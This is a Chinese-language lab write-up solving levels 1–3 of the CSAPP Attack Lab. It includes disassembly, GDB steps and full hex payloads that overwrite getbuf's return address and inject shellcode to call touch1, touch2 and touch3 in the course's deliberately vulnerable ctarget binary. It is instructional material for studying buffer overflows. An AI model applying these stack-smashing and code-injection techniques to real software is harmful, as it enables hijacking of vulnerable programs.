CSAPP Attack Lab 解题报告

Level1:

目标:执行touch1函数:

在本题的讲义中给出了getbuftesttouch1三个函数的C语言描述:

1
2
3
4
5
6
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
1
2
3
4
5
6
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
1
2
3
4
5
6
7
8
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

该题的意图是我们应当利用getbuf中的缓冲区溢出漏洞使得执行getbuf之后重定向至touch1即可。因此我们需要确定BUFFER_SIZE的大小以及touch1函数所在的地址。

首先反编译ctarget

在Linux上使用命令:

1
objdump -d ctarget > ctarget.asm 

ctarget反汇编成ctarget.asm

在ctarget上搜索touch1函数以及getbuf函数(可以使用编辑器代码搜索功能)

可以发现getbuf的汇编代码如下:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 ac 03 00 00 callq 401b60 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

从这里我们可以观察到getbuf函数首先执行了将rsp寄存器减去0x28这个操作,即将栈顶指针向下移40个比特位,因此我们可以推断出BUFFER_SIZE的大小为40。

之后我们可以同样使用这种方法搜索touch1函数:

1
2
3
4
5
6
7
8
9
10
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 3d 20 00 01 movl $0x1,0x203d0e(%rip) # 6054dc <vlevel>
4017cb: 00 00 00
4017ce: bf e5 31 40 00 mov $0x4031e5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 cb 05 00 00 callq 401dad <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>

在该段汇编代码中,我们同样可以看出touch1函数的地址为0x4017c0。

因此编写输入数据就简单了。

首先打开一个文件写入数据:

1
vim touch1.txt

编辑文件如下:

1
2
3
4
5
6
7
8
9
10
11
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c0 17 40 00

前40位可以任意填充,在40位后即为缓存区溢出位,这里压入的是函数返回地址,因此将touch1函数的地址写入即可在ret之后返回至touch1函数并执行。

最终我们使用hex2raw工具执行代码:

1
cat touch1.txt | ./hex2raw | ./ctarget -q

最终运行结果如下:

Level2:

目标:执行函数touch2,并传入cookie的值作为参数val

同样,在本题中也给出了touch2的函数实现

1
2
3
4
5
6
7
8
9
10
11
void touch2(unsigned val){
vlevel = 2;
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

通过在反汇编中寻找touch2代码,我们发现touch2的汇编语言如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be 08 32 40 00 mov $0x403208,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 8b 05 00 00 callq 401dad <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 30 32 40 00 mov $0x403230,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 2d 06 00 00 callq 401e6f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>

同样,我们找到了touch2函数的地址为0x4017

由于本题需要在touch2中传入cookie参数才能执行成功,因此我们需要在输入文件中注入代码,并且将函数返回地址修改为代码注入的地址以实现代码注入攻击,因此我们需要知道getbuf函数栈顶地址(因为在此处我们需要注入代码)。

使用GDB调试一下:

1
2
3
4
5
6
7
8
9
10
11
gdb ctarget

(gdb) set args -q

(gdb) b getbuf

(gdb) r

(gdb) ni

(gdb) p/x $rsp

在命令行中我们调试ctarget程序并且在getbuf函数上打断点,在getbuf执行一步过后,即sub $0x28 ,%rsp之后我们查看$rsp寄存器的值,输出:

1
$1 = 0x5561dc78

接下来我们使用vim编辑注入汇编代码:

1
2
3
mov    $0x59b997fa,%rdi
push $0x4017ec
ret

然后将汇编代码后编译后再进行反编译以获取机器代码:

1
gcc -c touch2.s
1
objdump -d touch2.o

然后可以获取touch2的机器级代码:

1
2
3
4
5
48 c7 c7 fa 97 b9 59 

68 ec 17 40 00

c3

基于以上的信息我们就可以编辑输入文件了!

输入文件如下:

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

在栈顶进行代码注入,同时在溢出去返回栈顶地址。

使用hex2raw进行输入。

结果如下:

level3:

目标:执行函数touch3,并传入cookie的值的字符串作为参数sval

与level2类似,区别在于我们这次需要构造一个字符串,而不是直接传一个整数,需要注意字符串保存位置。

讲义给出了hexmatchtouch3的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

可见需要传入表示 cookie 的值的字符串作为参数 sval。同时函数 hexmatch 的设计使得直接获取用于检验的字符串较为困难,因此我们需要自行构造这个字符串。

因此我们需要查看touch3的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 3b 20 00 03 movl $0x3,0x203bd4(%rip) # 6054dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 3b 20 00 mov 0x203bd3(%rip),%edi # 6054e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 58 32 40 00 mov $0x403258,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 72 04 00 00 callq 401dad <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 80 32 40 00 mov $0x403280,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 11 05 00 00 callq 401e6f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>

touch3的汇编代码如上所示,了解到touch3的地址为0x4018fa,因此我们可以基于此地址构造注入代码。在写注入代码前我们还需要了解到cookie数值的字符串表示,以及该字符串在栈中存放位置。

其中cookie的字符串表示可以通过查询ASCII码表或者使用高级语言输出来获得。

关于字符串在栈中的存放位置,我们可以试想一下,如果将cookie字符串的编码放在返回地址下面的时候,当我们returntouch3所在函数时会进行数据的入栈,因此当从栈中地址取出字符串参数时,该字符串已经被破坏掉了,因此我们需要将cookie字符串放在return地址的上面,为了安全起见,我们将cookie的值设置为%rsp+48的位置。

接下来编辑汇编代码:

1
2
3
mov $0x5561dca8,%rdi
push $0x4018fa
ret

其中0x5561dca8这个地址是将栈顶指针加上48得到的。

之后,同level2一样,我们对注入代码进行汇编、反汇编获取机器码,这里不再赘述。

获取到的机器码为:

1
2
3
4
5
48 c7 c7 a8 dc 61 55

68 fa 18 40 00

c3

在之后我们就可以编写输入文件了。

输入文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
48 c7 c7 a8
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
00 00 00 00
35 39 62 39
39 37 66 61

然后继续使用hex2raw工具进行输入。

输入结果如下: